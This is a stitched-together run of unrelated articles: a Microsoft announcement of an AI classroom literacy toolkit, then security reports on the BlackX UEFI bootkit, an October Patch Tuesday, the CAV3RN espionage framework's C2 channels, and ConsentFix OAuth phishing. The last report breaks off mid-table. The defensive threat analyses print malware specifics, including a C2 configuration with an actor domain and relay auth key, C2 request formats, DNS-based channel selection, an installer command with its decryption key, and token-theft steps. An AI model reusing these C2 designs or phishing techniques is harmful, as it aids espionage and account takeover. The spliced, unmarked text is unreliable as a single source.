Launching the expanded AI Classroom Toolkit with Cyberlite during Global Media and Information Literacy Week
AI is opening new pathways to information, giving people faster access to answers, ideas, and knowledge. At the same time, it’s making it harder to know whether the content we see is authentic.
Companies that build AI have a responsibility to make it reliable and trustworthy, and that responsibility doesn’t shift to the people who use it. But AI is already shaping how people search, learn, and encounter information. Helping people navigate that reality means building media and AI literacy (MAIL): the judgment to decide whether and how to use AI and what information to trust. These skills are as foundational as AI safety, and educators are asking for help teaching them.
That’s why, during Global Media and Information Literacy Week, we’re launching the expanded AI Classroom Toolkit: Unlocking Generative AI Safely and Responsibly, created with the online safety organization Cyberlite. It’s part of Microsoft’s broader commitment to make sure AI strengthens human thinking rather than replaces it. It also reflects Microsoft’s focus on education and empowerment, a core pillar of our Safe Participation Framework.
What’s new in the AI Classroom Toolkit
The expanded toolkit adds a deeper focus on critical thinking, verification, and media and AI literacy, helping students judge AI outputs and make informed decisions about what to trust online. Together with the original modules, it’s now a single, classroom-ready resource that covers the core of AI safety and literacy. Realistic, scenario-based lessons and activities help students practice these skills in situations they may encounter online:
The Climate Campaign: Gina enters an online challenge to make a campaign for a cause she cares about and finds that some winning entries use AI to show events that never happened. Students sort a feed of real and AI-made posts and practice lateral reading. The lesson: whether a post was made with AI doesn’t decide whether it’s trustworthy. What it claims, and who is behind it, does.
The Helpful Bot: Alex creates an AI help bot inside his online game, then catches it inventing details and collecting players’ personal information. Students learn why AI can get things wrong, how to trace claims to reliable sources, and why they’re responsible for AI-generated content they act on or share.
What Kind of AI User Are You?: An interactive quiz, hosted by Cyberlite, helps students identify their AI habits, strengths, and potential blind spots, and gives them an AI Type to reflect on and discuss.
“When we created the first Classroom Toolkit: Unlocking Generative AI Safely and Responsibly with Microsoft in 2023, most of the conversation was about using AI safely. Today, the questions young people ask about AI have grown sharper and more personal, like what to believe online or how far to trust a chatbot’s answer,” said Michelle Yao, cofounder of Cyberlite.
The toolkit also reflects what young people in our co-design sessions with Cyberlite told us: they want to learn by doing, through games, real-life scenarios, and peer discussion. Teachers don’t need to be AI experts, and students don’t need an AI tool in hand to start.
That approach builds on the reach and results of the original toolkit. Since 2023, the first version has reached educators in 10 countries and 11 languages, including through government and partner learning platforms. In South Korea, 93% of participating educators reported improved knowledge and understanding of ethical issues, privacy, and bias related to AI.
“Our hope is that every student leaves a little surer of their own judgment, and that everyone feels more confident deciding how AI fits into their lives,” said Yao.
Literacy works alongside product design and policy
Education is one part of the equation. Our commitment to media and AI literacy also shows up in how we design products and the policies we support.
Last month, we set out five principles for AI in education, including “AI designed to support students’ learning, not replace their thinking.” We alsocommitted to enforceable privacy, safety, and transparency protections for qualifying educational AI products in US school districts. These protections help schools and families understand how these tools work and the controls available to them.
Media and AI literacy is now a global priority
The Organisation for Economic Co-operation and Development has released a framework for a MAIL assessment beginning in 2029. As part of its Programme for International Student Assessment (PISA), it will examine how students reflect on, analyze, and evaluate information, including AI-generated information. This week in New Delhi, UNESCO is also launching an AI extension of its “Think Critically, Click Wisely” global curriculum, which Microsoft advised on.
This growing global focus makes the need for support urgent—educators want help, and many aren’t getting it. In Microsoft’s 2026 AI in Education report, 53% of educators and 77% of students say they haven’t had AI training.
Closing this skills gap matters beyond the classroom. Healthy societies depend on a shared basis of facts, informed public debate, and confident civic participation. As authenticity gets harder to judge, there’s a risk that people start doubting everything, creating what the Digital Inquiry Group calls a “dangerous declaration of permanent uncertainty.” MAIL offers a way through. It builds the confidence to decide what to trust.
Media and AI literacy for every age
Across Microsoft, we’re helping people build these skills wherever they learn and find information:
In classrooms: Students debate whether to accept, question, or rework an AI tool’s answers in an AI and Critical Thinking lesson from The Economist Educational Foundation, supported by Microsoft. Available alongside other media literacy lessons in Microsoft Learning Zone, the lesson has reached students in 116 countries.
Through play: Millions of players have checked sources, spotted bias, and cracked cases of AI misuse in Minecraft Education’s The Investigators and Reed Smart: AI Detective.
For content creators: UNESCO, with Microsoft’s support, is developing resources to help creator associations train their members in MAIL and is testing them with creators in Nairobi this week.
For voters: Check. Recheck. Vote. helps people apply AI literacy to election information.
In our products: Search Progress, built with input from the Digital Inquiry Group, turns research assignments into source-checking practice in Microsoft Teams for Education.
What’s next
Through Microsoft Elevate for Educators and local partners, we’ll bring the AI Classroom Toolkit to new audiences, with more languages and localized content rolling out through 2027. We’ll keep evolving it as technology and educators’ needs change.
AI will keep changing how people find information and the content they encounter. Our goal is to help people meet that change with confident, informed judgment about the AI they use and the information they trust so they can fully take part in civic and democratic life.
Back in October 2022, Kaspersky GReAT was looking into a peculiar advertisement on a hacking forum. A cybercriminal had been advertising a UEFI bootkit, dubbed BlackLotus, that could bypass Secure Boot, for $5,000. Given the low price for such powerful capabilities, the cybersecurity community initially took this advertisement with a grain of salt. As no BlackLotus samples were found in the wild, no one could at the time verify the claims made in the forum post.
BlackLotus advertisement
However, about half a year later, in March 2023, ESET confirmed that the BlackLotus advertisement was genuine. The researchers tracked down samples of this bootkit and confirmed that it can indeed bypass Secure Boot through a vulnerability called Baton Drop (CVE-2022-21894). As this vulnerability was still exploitable in 2023, Microsoft had to release multiple security updates to address it.
Since the release of these updates, the BlackLotus bootkit has gone quiet — no publicly known attacks have used it. Yet in early 2026, we discovered a malware sample similar to BlackLotus that was used in an APT campaign in Central Asia. In this report, we share our findings, including new payloads and possible attribution of this campaign.
The return of the infamous bootkit
In early 2026 we identified a complex APT attack targeting diplomatic agencies in Central Asian countries — namely Tajikistan, Uzbekistan, and Turkmenistan. This attack involved a UEFI bootkit that we dubbed BlackX. Having examined it, we found it to be similar to BlackLotus.
Attackers have been deploying BlackX after compromising the victim machine networks and obtaining administrator privileges. To install the bootkit, we observed them dropping the following files:
inst.exe, an installer executable
PVMDIJGKAX2, an RC4-encrypted extensionless file containing files and strings required for the installation
The installer was launched with the command line C:\ProgramData\Intel\inst.exe PVMDIJGKAX2 Q46F6MDLI3RX2KV1. The last argument here is the RC4 key used for decryption.
Curiously, the file inst.exe does not contain any malicious strings or embedded blobs. All the files needed to install the malicious payload are inside PVMDIJGKAX2, which makes it harder for incident responders to retrieve the bootkit components.
The installer package drops a set of files to both system and UEFI partitions, designed to exploit the Baton Drop vulnerability. We noted that the implementation of the exploit is remarkably similar to the one used in the BlackLotus malware. As with BlackLotus, the goal of the exploit is to install custom Machine Owner Keys (MOK), which allows loading arbitrary EFI files on the target machines to manipulate Secure Boot.
While the vulnerability exploitation chain was implemented very similarly to BlackLotus, we spotted differences between the exploits in BlackLotus and BlackX. That said, the source code of the BlackLotus bootkit has never been published online. This could mean that the attackers behind BlackX either reverse-engineered the BlackLotus bootkit or purchased its source code from cybercriminals. Either way, this is an interesting observation, as we rarely see APT actors borrow ideas or code from cybercrime actors.
Payload launched by the bootkit
The UEFI payload delivered during the Baton Drop exploitation has a classic bootkit goal — to inject a malicious driver into the Windows kernel. This driver differs from the one deployed by BlackLotus and is signed with a certificate belonging to an organization named 温江区明宇网络技术服务工作室 (English: Wenjiang District Mingyu Network Technology Service Studio). At the time of writing, this certificate (serial number: 0bcdf5e0da32d68900b8b7638459d072) has been revoked by its issuer.
The driver aims to tamper with security solutions installed on the machine. For example, it disables process, thread, and registry callbacks related to security solutions. It also tampers with ETW providers so that security solutions cannot access their output. Curiously, some of the tampering procedures are designed to run only if Kaspersky or Avast solutions are installed on the infected machine. However, during dynamic analysis of this driver, we found that these procedures are useless — they fail to interfere with Kaspersky products in any way.
The driver also protects the bootkit’s files from tampering. It intercepts kernel requests to open these files and returns a handle to calc.exe instead of a malicious file handle.
User-mode second-stage payloads
Apart from tampering with security solutions, the driver also deploys a user-mode payload. We observed two such payloads, used for cyberespionage, in the wild. One of them is a RAT that can load further-stage .NET payloads. This RAT uses cloud storage for C2 server communications — we observed its versions using Google Drive, OneDrive, and Yandex.Disk. Having connected to a cloud storage service, this RAT iterates over files available there and interprets them depending on the file suffix. Below is a list of supported suffixes:
File suffix
Description
Type
0X01
A .NET file. The task is to parse it and run the method TEST.Class1.RunCMD(argument_array) from the module
Input
0X02
Result of the call TEST.Class1.RunCMD(argument_array)
Output
0X03
Task to upload a file to the drive
Input
0X04
Uploaded file
Output
0X05
Task to download a file to an infected machine
Input
0X06
File download status
Output
SSSR
Contains initial system info
Output
We also observed another payload delivered through the bootkit, which we dubbed OxiDLLRunner. It is a malicious DLL obfuscated with OLLVM. It is loaded by the legitimate file googleupdate.exe (original filename: jcef_helper.exe, MD5: AF8A983B9ADA07EAE1259BF2953ABD40), which is also delivered by the bootkit. The DLL decrypts the contents of the file v8_context_snapshot.bin, which resides in the same folder, and then jumps to the beginning of the decrypted content. The decrypted data starts with shellcode followed by a PE file, which is a Rust payload designed to communicate with the www[.]archivetj[.]com C2 server. During communication, this payload is supposed to receive DLL files exporting a function named create_plugin, which are then executed in separate threads.
Attribution
Based on the following facts, we have attributed this attack to the APT41 threat actor with medium confidence:
In June 2026, ESET published a blog post on attacks by the FishMonger threat actor, which the community assumes to be related to APT41. This post describes a kernel implant with a PDB path starting with C:\Users\xdd\Desktop. While describing the campaign, the post also suggests the possible use of an unspecified UEFI bootkit component, which might exploit CVE‑2023‑24932. We observed the identifier “xdd” used multiple times in the BlackX bootkit payloads, so we assess that BlackX is the UEFI bootkit referenced in the ESET blog post;
The payloads deployed by BlackX are loaded using a legitimate executable abused via DLL sideloading, and an encrypted file — this pattern is common among Chinese-speaking threat actors;
The OxiDLLRunner file has been obfuscated with OLLVM, an obfuscator commonly used by Chinese-speaking actors.
Why did the target organizations get infected?
During our initial analysis of BlackX, we thought that attackers succeeded in deploying it due to the negligence of the target organizations. Baton Drop, the vulnerability used to deploy BlackX, was disclosed back in 2023 and was patched, so we first thought that the infected machines lacked the relevant updates. However, our investigation proved this wrong — the targeted machines were fully patched.
Instead, we found out that the problem was with the patch itself. As it turned out, the patch for the Baton Drop vulnerability is designed to revoke the “Windows Production PCA 2011” certificate used to sign vulnerable UEFI components. However, this revocation does not happen automatically upon patch installation — the user has to trigger it manually. This is done with the following steps:
A registry flag is set inside HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Secureboot;
A scheduled task named Secure-Boot-Update is created.
This patch is designed to be applied manually — for instance, applying it automatically could break dual-boot systems relying on the “Windows Production PCA 2011” certificate to load. At the same time, this patch deployment practice creates a problem — as it is extremely unusual for a system administrator to take extra steps after installing an update. Usually, when applying patches, system administrators take no further action unless an installation failure occurs. These instructions for activating the patch are buried deep on the Microsoft website, and we assess that they are quite hard for an average IT administrator to notice.
Curiously, Microsoft’s plan for deploying the Baton Drop patches mentions an “Enforcement Phase” that involves revoking the “Windows Production PCA 2011” certificate automatically, without user interaction. At the time of publishing this post, this stage has not been implemented. On October 19, 2026, this certificate expired, but this does not prevent the vulnerable binaries from loading unless the certificate is blocklisted.
It is likely that the threat actor behind this campaign took into account that few organizations realized the importance of manually activating the Baton Drop patch. As such, we believe they decided to invest time in understanding how BlackLotus works and creating a copycat of this bootkit.
Conclusion
Patch management is important for every organization, as updates from vendors help protect software and hardware against known vulnerabilities. However, sometimes installed patches fail to protect against the flaws they address. The BlackLotus story we described is not the only such example — for instance, in 2025 Microsoft released an update against the ToolShell vulnerability that also had to be applied manually.
However, modern security solutions are designed to account for such cases when installed patches fail to protect against security flaws for one reason or another. For instance, the Exploit Prevention component available in Kaspersky products prevents exploits from running if the patch is not applied, or if it is a zero-day vulnerability with no available patch. It is thus crucial to equip all machines in an organization with security solutions and constantly monitor the alerts they raise.
Microsoft’s October Patch Tuesday update stands out for two reasons. First, the total number of patches has reached four digits for the first time. Second, to help companies better understand the details of the vulnerabilities, Microsoft has decided to group them into risk cohorts. A cohort brings together vulnerabilities that are exploited under the same conditions and affect the same systems. They replace neither the severity rating, nor the individual bulletins for each CVE. While they’re unlikely to be suitable for comprehensive patch prioritization, they will help quickly assess which part of an infrastructure is currently most at risk.
Statistics corner
Of the 1,414 vulnerabilities addressed in the October Patch Tuesday release, 1,102 directly affect the Windows operating system, 134 — Microsoft Office, 36 — SharePoint Server, 22 — SQL Server, and seven — Exchange Server. The vast majority — 677 — lead to privilege escalation, 317 to remote code execution, 40 to security bypass, and 73 to denial of service (DoS).
There are 86 critical vulnerabilities on the list, of which 68 lead to RCE, 14 to privilege escalation, three to spoofing, and one to data leakage. In addition, two vulnerabilities were disclosed before being patched, and one is being exploited in real-world attacks.
CVE-2026-96951 — vulnerability in Windows Shell
The only zero-day vulnerability patched in the October update that attackers are already exploiting in real-world attacks is CVE-2026-96951 in Windows Shell (CVSS severity score: 8.8). Details on how it’s being exploited aren’t yet known; however, according to Microsoft’s description, it involves command injection that allows bypassing a security feature when accessing the system over a network. Microsoft credits experts at both Fujitsu and Anthropic for discovering the vulnerability, so it was likely found using neural networks.
CVE-2026-108398 and CVE-2026-92707: vulnerabilities disclosed before patches were released
Information about these two vulnerabilities was made public before the October update was released. In theory, this could mean that attackers attempted to exploit them ahead of time. These are:
CVE-2026-108398 — a vulnerability in the .NET Framework that allows bypassing WDAC protection;
CVE-2026-92707 — a vulnerability in the third-party MessagePack-CSharp serialization component, leading to a denial of service (DoS).
However, according to the security bulletins, neither has been observed in actual attacks yet.
What else to pay attention to
Several vulnerabilities patched by the latest update combine potentially serious consequences with relatively simple exploitation. Particular attention should be paid to three flaws that could potentially lead to arbitrary code execution:
Microsoft isn’t the only company that releases regular update packages for newly discovered vulnerabilities.
In its October update, Adobe fixed 174 defects in its products, including critical vulnerabilities (CVSS 10) in ColdFusion and Commerce/Magento. These systems are typically accessible from an external network, making them particularly attractive to attackers.
SAP’s October security bulletin lists 20 vulnerabilities, including CVE-2026-89111 — an SSRF vulnerability in the Cloud SDK for Python. This vulnerability, rated CVSS 10, allows attackers to steal OAuth tokens.
How to keep your company safe?
Recently, thanks to neural networks, the number of vulnerabilities detected and patched has been regularly breaking records. To avoid getting overwhelmed by the flood of patches, we recommend using an automated platform for tracking and assessing vulnerabilities . It helps not only identify and fix vulnerabilities, it also prioritizes them based on actual risks and automates the remediation process.
Project CAV3RN is a modular espionage framework used against targets in Israel. This report expands on two earlier publications: the first was published in June 2026 as part of our Kaspersky Threat Intelligence Reporting service, and the second was published on Securelist the following month, further documenting the framework’s evolving architecture and C2 capabilities.
Continued tracking of this cluster in early August 2026 uncovered several previously undocumented components that expanded the framework’s communication and orchestration capabilities. The main finding is a complex C2 module that uses DNS A-record responses to choose between direct HTTPS and a Google Apps Script relay for each transaction. The same DNS infrastructure can validate and replace the relay deployment ID, allowing the operator to rotate the Google channel.
We also identified the framework’s local broker, which discovers and loads DLL components, routes messages between them, and supports runtime upgrades.
Multi-transport C2 communication module
The communication module, GoogleService.dll, is a 64-bit DLL compiled with Microsoft .NET 8 NativeAOT. Its PDB path is:
NativeAOT data also revealed references to eight source files, including the Direct.cs, FindMode.cs, and Google.cs.
The DLL exports GroupByCategory, CheckAvailability, IsPrimeNumber, and OrderByDate. During initialization, its host (local broker) registers the module’s callback and starts CheckAvailability. After three seconds, the module sends a type-0 frame to the fixed identifier 33A4BA78-E286-4FF2-85EC-7365265F3D93. The broker returns Err1::33A4BA78-E286-4FF2-85EC-7365265F3D93, which the module expects and uses to learn the broker’s name before starting its C2 worker.
C2 packets contain type, cid, and payload fields. Packets of the type icmgdd are processed by the communication module itself, while other types, including broker, are forwarded to the local broker. Within command payloads, _;;_ separates the command from its arguments and _,_ separates individual arguments.
The s_version handler enumerates DLLs under AppContext.BaseDirectory, collects their company names and versions, and appends the communication module’s name/version and the local broker’s name. This inventory is serialized as JSON, XORed with 0xAC, Base64-encoded, and sent as the module’s initial C2 report.
The module supports five internal commands:
Command
Functionality
s_version
Returns the DLL-version inventory described above. The command is executed automatically at startup.
s_config
Returns the active configuration and, when provided with a JSON configuration object, replaces it in memory.
s_enLog
Enables diagnostic logging at the Debug level.
s_deLog
Disables diagnostic logging and sets the logging level to Fatal.
s_write
Base64-decodes and GZip-decompresses provided data before writing it to the specified file path.
The module reads conf.json from the process’s current working directory. If it is missing, the module generates a seven-character client identifier and writes its embedded defaults to disk.
{
"to": "<generated seven-character ID>", // Client ID
"ad": "https://api.studiotikva.com/api/v1/update/check", // Direct C2 URL
"ho": "studiotikva.com", // DNS domain
"gi": "<redacted>", // Apps Script deployment ID
"de": false, // Enable Debug logging at startup
"mi": 120000, // Poll-delay reset after a non-empty response
"ma": 18000000, // Progressive poll-delay cap
"ri": 30000, // Base DNS recovery/error delay, with positive jitter
"ga": "s3criitC0d3/8-)B-,)", // Apps Script relay authentication key
"gu": "https://script.google.com/macros/s/{0}/exec",
"ua": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31",
"mcc": 50, // unknown
"mtc": 10 // unknown
}
The s_config command can replace these settings in memory but does not update the file. DNS recovery is the exception: a recovered Apps Script deployment ID is written back to conf.json.
Before polling for commands or sending a result, the module performs a DNS A-record query to select Direct HTTPS or Google Apps Script:
The first label combines a three- or four-character uppercase alphanumeric nonce with the current error state: 0 for None, 1 for GIDFailed, 2 for GoogleFailed, and 3 for DirectFailed. Each new transaction starts in state 0.
The exact response 12.19.29[.]30 is treated as a rejection. Other responses are interpreted according to their fourth octet:
Fourth octet
None (0)
GIDFailed (1)
GoogleFailed (2)
DirectFailed (3)
120 (0x78)
Google Apps Script
Direct HTTPS
Direct HTTPS
Google Apps Script
130 (0x82)
Direct HTTPS
Direct HTTPS
Direct HTTPS
Close the transaction (no channel)
140 (0x8C)
Exception
Exception
Exception
Exception
All other values
Google Apps Script
Google Apps Script
Google Apps Script
Google Apps Script
During analysis, valid .m queries returned 12.121.234[.]120, while malformed queries returned 12.19.29[.]30. For example, YCZ2.41414141303030.m.studiotikva[.]com carries state 2, so the final octet 120 selects Direct HTTPS.
CAV3RN DNS control-plane response: the final octet 120 selects the direct HTTPS channel
When Google mode is selected, the module calculates the MD5 digest of its stored deployment ID and compares its first four bytes with the A record returned by <random5>.<hex-ID>.q.studiotikva[.]com. A mismatch causes the module to retrieve a replacement through .p queries: <random5>.<hex-ID>.p.studiotikva[.]com.
DNS-based deployment-ID freshness check
The offset-0 response contains a one-byte length followed by the first three ID bytes. Each subsequent response contributes four bytes. The observed response 74.65.75.102 represents 4A 41 4B 66: a length of 74 followed by AKf. The DLL stops after collecting the declared length and discards the final padding byte rather than requesting offset 76.
DNS recovery of the Google Apps Script deployment ID: the offset-0 response contains the length byte and first three ID characters, followed by four-byte continuation chunks
One initial response and 18 continuation responses produced a 74-character deployment ID, shown redacted as AKfycby46v0DPSEKWYa****dvQ. The .q response 247.188.216[.]122 contains the bytes f7 bc d8 7a, matching the first four MD5 bytes of the recovered value. This is a 32-bit freshness check.
Wireshark capture showing the .p query sequence used for chunked retrieval of the Google Apps Script deployment ID
Google Apps Script channel
When DNS selects Google mode, the module inserts the deployment ID into https://script.google[.]com/macros/s/{deployment-ID}/exec.
Direct GET requests return a decoy page titled My App with the message This application is running normally. C2 polling instead uses an outer POST to Apps Script whose "m":"GET" field instructs the relay to issue a GET request to its upstream server:
POST /macros/s/AKfycbw2Wo4nYIQ*************UxSvjunDmNpeA/exec HTTP/1.1
Host: script.google.com
Content-Type: application/json
{"k":"s3criitC0d3/8-)B-,)","m":"GET","h":{"X-Client-Id":"AAAA000","User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31"},"b":null,"ct":null,"r":true}
The request returns a 302 redirect; a redirect-following client subsequently receives a 200 OK serving the response:
Decoding b produces 9/E=; decoding it again produces f7 f1, which XORs with 0xAC to [], indicating an empty task list. An upstream timeout also exposed https://api.studiotikva[.]com/ac, confirming that the Apps Script deployment forwards requests to an actor-controlled backend.
Direct HTTPS channel
When DNS selects Direct HTTPS, the module contacts the configured ad address, https://api.studiotikva[.]com/api/v1/update/check, without using the relay. This occurs when the final octet is 130 (0x82) in the None, GIDFailed, or GoogleFailed states, or 120 (0x78) in the GIDFailed or GoogleFailed states. The endpoint expects the custom X-Client-Id header; requests without the expected header return {"res":"failed"} in its HTTP response.
However, a GET request carrying the correct X-Client-Id value receives a 76-byte body as shown in the following figure:
GET request to the header-gated C2 endpoint and its encoded tasking response
Base64-decoding the response body and XORing it with 0xAC produced the following broker-directed task packet: [{"type":"broker","cid":109,"payload":"002_;;__,_"}]. The broker type instructs the communication module to forward the task to the local broker.
Inter-component DLL broker
The inter-component broker, rnp.dll, is a 64-bit DLL compiled with Microsoft Visual C++. Its embedded PDB path is C:\Users\user\Desktop\Modules\broker-cavern\1.out\rnp.pdb. It masquerades as the RNP OpenPGP library through numerous rnp_* exports, while rnp_backend_string starts the broker.
The broker coordinates the framework’s DLL components. At startup, it creates the BROKER control structure, initializes its message dispatcher, and scans the host directory for DLLs. Components are grouped by CompanyName, and the highest-version candidate from each group is loaded if it exposes GroupByCategory, CheckAvailability, IsPrimeNumber, and OrderByDate.
The directory is rescanned every second, allowing a component to be added or upgraded without restarting the host. Updates require a higher-version DLL under a new path; replacing an existing file in place is not detected.
Loaded components exchange messages through the broker. It locates the requested destination and invokes that component’s callback. Unknown destinations return Err1::<destination>, while unavailable components return Err2::<destination>.
Command
Function
000
Lists loaded component names and versions
001
Lists every DLL path discovered by the scanner
002
Lists each loaded component’s path, name, and version
The 002_;;__,_ task recovered from the Direct HTTPS channel is forwarded by the communication module to this broker, which returns its component inventory. When unloading or replacing a component, the broker calls its IsPrimeNumber export and waits for its worker threads to stop before unloading the DLL.
Infrastructure
Historical records show that studiotikva[.]com was first registered in February 2024. Wayback Machine captures show Wix’s default disconnected-domain page, while passive DNS associated the domain with Wix infrastructure hosted in an Israeli data center. The domain expired in February 2026 and was subsequently re-registered. It may therefore have originally belonged to a legitimate Israeli business and been acquired by the threat actor only after its expiration; the available evidence does not indicate when ownership changed.
The domain was registered again on May 12, 2026, and redelegated on May 19 to ns1.studiotikva[.]com and ns2.studiotikva[.]com, resolving to 144.172.115[.]17 and 144.172.104[.]82. It later hosted a generic “Studio Tikva” website that provided locally plausible cover: “Tikva” (תקווה) means “hope” in Hebrew.
The infrastructure supported authoritative DNS and direct HTTPS C2. The Google Apps Script deployment acted as an application-layer relay; during an upstream timeout, it exposed https://api.studiotikva[.]com/ac, revealing the actor-controlled backend endpoint.
Project CAV3RN continues to evolve, introducing increasingly sophisticated components and communication capabilities. By abusing legitimate services — previously Outlook calendar events and now Google Apps Script — the framework blends its C2 traffic with normal network activity, complicating network-based detection. Given its development pace, modular design, and operational tempo, we assess that CAV3RN will likely continue to expand. We will continue tracking the framework and reporting on its activity in the wild.
Cybercriminals are increasingly moving away from complex malware, relying instead on social engineering that exploits a common user habit: mindlessly clicking through endless digital rituals like CAPTCHAs, cookie consents, and authentication prompts. This habit is often targeted by various kinds of the ClickFix technique, which threat actors have been actively using lately. Researchers recently discovered a new variant of this technique, which they dubbed ConsentFix. It allows attackers to gain unauthorized access to Microsoft 365 accounts via OAuth — a highly popular vector right now — thereby completely bypassing the need to steal passwords. For organizations, these attacks present a severe risk of compromised corporate email, exposed documents, and breached cloud resources.
How ConsentFix works
Social engineering lies at the core of all ClickFix variations. Attackers prompt the user to follow a seemingly harmless set of instructions, which actually lead to the compromise of their device or account. In the case of ConsentFix, these instructions are designed to trick the user into granting the attacker access to their Microsoft 365 account.
The attack begins by making the user believe they must authenticate with their Microsoft account to access a specific page or document. To do this, cybercriminals usually send an email containing a link to a website typically imitating a popular file-sharing service. Attempting to access a specific document on this site prompts the user for verification, which can be obtained by following this sequence of actions:
Clicking Verify with Microsoft.
Signing in to the work account, at which point the attackers warn that multi-factor authentication (MFA) may be required.
After being redirected to a new page, waiting until “localauth” appears in the address bar.
Dragging the information icon ⓘ from the browser’s address bar into a drop zone on the page.
In practice, following these instructions causes the user to drag an URL containing a session OAuth token directly onto the attacker’s page. This token is exactly what grants the attackers access to the victim’s email and other Microsoft 365 services.
The potential fallout of a Microsoft 365 session compromise
At first glance, it might seem like attackers only gain access to a mailbox. In reality, the consequences can be significantly more severe. The attacker’s specific capabilities depend on the organization’s Microsoft 365 license, the services deployed, and the privilege level of the compromised account.
Even compromised corporate email alone is a major breach. The attacker not only gains access to email archives that may contain confidential business intelligence, but also can send phishing messages or launch internal BEC attacks on behalf of the user.
Beyond email, attackers are highly likely to gain access to the victim’s Microsoft Teams account, providing them with even deeper insights and broader leverage for various scams. Access to OneDrive and SharePoint is equally dangerous: it allows attackers to exfiltrate corporate documents, upload malware into cloud storage, tamper with existing files, and more. Ultimately, this creates a launchpad for moving laterally within the corporate infrastructure.
Publicly available attack blueprints
According to a Bleeping Computer article, the mechanics of ConsentFix are no secret. Attackers share detailed implementation guides on cybercrime forums, offering not only ready-to-use code but also video tutorials demonstrating how to deploy the attack. They also actively trade tips on how they harvest intelligence on organizations and their employees via LinkedIn and other OSINT channels to craft highly convincing phishing messages.
Collectively, this significantly lowers the barrier to entry for novice cybercriminals. As these guides and turnkey tools continue to proliferate, ConsentFix attacks will likely become increasingly common. Consequently, organizations should immediately factor this technique into both their defense strategies and employee awareness training programs.
How to secure your corporate infrastructure
The emergence of this new ClickFix variation demonstrates that simply blocking a specific keyboard shortcut or an isolated risky action on employee devices is not enough. Clearly, attackers quickly adapt to these measures. Therefore, to protect an organization from these types of attacks, we recommend the following:
Be sure to deploy a robust security solution at the mail gateway level — this minimizes the likelihood of attackers successfully luring your employees to a page hosting the ConsentFix mechanism.
Conduct regular cybersecurity awareness training for employees to keep them ahead of the latest social engineering tactics. Our training platform, Kaspersky Automated Security Awareness Platform, can assist with this initiative.
In June 2026, as part of our Kaspersky Threat Intelligence Reporting service, we published extensive research on Project CAV3RN, a sophisticated modular framework used for cyberespionage activity against targets in Israel. We have been tracking this cluster since December 2025, and in late April 2026, we observed a major architectural shift: the developers moved from a three-component framework consisting of a downloader, executor, and uploader to a controller-based architecture with a dedicated WebSocket-enabled C2 communication component and a more extensible plugin system designed to support modular post-exploitation capabilities.
Subsequently, Check Point Research publicly reported on the same controller-based architecture in July 2026. However, neither our previous research nor the subsequent public reporting covered the latest communication component analyzed in this report.
Following our June 2026 publication, we identified a .NET Native AOT communication module that is apparently designed to replace the previous HTTP/WebSocket component. It exchanges commands and results through Outlook calendar events accessed via Microsoft Graph. If Microsoft Graph authentication or tenant validation fails, the module attempts to retrieve replacement connection settings through DNS AAAA responses.
Module network communication architecture
During the preparation of this report, additional public research covering this communication component became available. The research presented in our article is based on our independent analysis and includes several additional implementation details that complement the existing public reporting.
Technical details
The previously reported controller-based CAV3RN architecture separates C2 communication from command execution. The controller, uxtheme.dll, generates and maintains the seven-character Agent ID, manages the polling loop, processes built-in commands, and dispatches other tasks or commands to separate plugins. The previously used communication component, n-HTCommp.dll, retrieved commands and transmitted execution results over HTTP/WebSocket.
Project CAV3RN architecture (April 2026)
The module performs the same communication role but uses Outlook calendar events accessed through Microsoft Graph. Similarly to the previous version, its get and send interface and use of the same controller-generated Agent ID suggest that it was designed to replace the previous communication component. However, because the corresponding updated controller was not recovered, this replacement role is assessed rather than directly observed.
C2 communication module
The communication module, AzureCommunication.dll, is a DLL compiled with .NET Native AOT, consistent with several other components of the Project CAV3RN framework that are publicly documented. Such a compilation method turns the managed application into native machine code and removes most of the metadata and intermediate language that normally make .NET assemblies straightforward to analyze.
The module exposes its functionality through a single export named QueryInterface. We expect an updated controller to load the DLL, resolve this export, and pass it a null-terminated UTF-16 string. The accepted input format closely follows the interface used by the previously documented CAV3RN controller.
The _;;_ delimiter separates the operation from its arguments, while _,_ separates the arguments.
For get, the module only uses the first argument as the Agent ID. For send, it uses only the Agent ID and the result. In both cases, the additional legacy URL is ignored. It remains part of the interface for compatibility with the controller, even though the new module obtains its destination and credentials from its own Microsoft Graph configuration.
Outlook calendar events as a C2 channel
The DLL contains a complete default configuration, including the Microsoft Entra tenant ID, application credentials, target mailbox, DNS bootstrap host, and cryptographic keys required to establish communication.
Before processing either get or send operation, the module looks for a relative file named logAzure.txt. Because the code supplies only a filename, Windows resolves it against the current working directory of the process hosting the DLL.
If logAzure.txt exists, the module reads and deserializes it. If it is absent, the module builds the configuration from the hardcoded values and writes the complete object to disk with the following structure:
{
"TenantId": "******-****-****-****-**********", // Microsoft Entra tenant ID
"ClientId": "********-****-****-****-************", // application/client ID
"ClientSecret": "********************************************",
"UserEmail": "***@*********.co.il", // Compromised target Microsoft 365 mailbox
"Host": "cloudlanecdn[.]com", // DNS bootstrap domain
"PublicKey": "-----BEGIN RSA PUBLIC KEY-----\r\n[omitted]\r\n-----END RSA PUBLIC KEY-----", // outbound encryption public key
"PrivateKey": "-----BEGIN RSA PRIVATE KEY-----\r\n[omitted]\r\n-----END RSA PRIVATE KEY-----" // inbound decryption private key
}
Using the resulting configuration, the module creates a Microsoft Graph client and validates access by requesting the tenant’s organization record through a GET request to https://graph.microsoft.com/v1.0/organization.
Attempting this request causes the Azure Identity library to obtain an OAuth application token:
POST https://login.microsoftonline.com/<TenantId>/oauth2/v2.0/token
client_id=<ClientId>
client_secret=<ClientSecret>
scope=https://graph.microsoft.com/.default
grant_type=client_credentials
After successful authentication, the module includes the token in subsequent Graph requests using the Authorization: Bearer <access-token> header. The module uses the default calendar of the configured mailbox as a dead-drop channel. Commands, heartbeats, and results all occupy the same fixed one-hour window 2050-05-13 22:00–23:00 UTC.
Scheduling the events for 2050 makes them unlikely to appear in ordinary calendar views. The calendar event subject identifies each event’s purpose and associated Agent ID. Heartbeat and result subjects append the fixed suffix 1500 to this value; the suffix is not part of the Agent ID.
Subject format
Purpose
Module behavior
Event ID: <agent-id>
Operator-to-agent command
Searches for the event, downloads its attachments, and deletes it after consumption
Boss update ID: <agent-id>1500
Agent heartbeat
Deletes the previous heartbeat event and creates a replacement
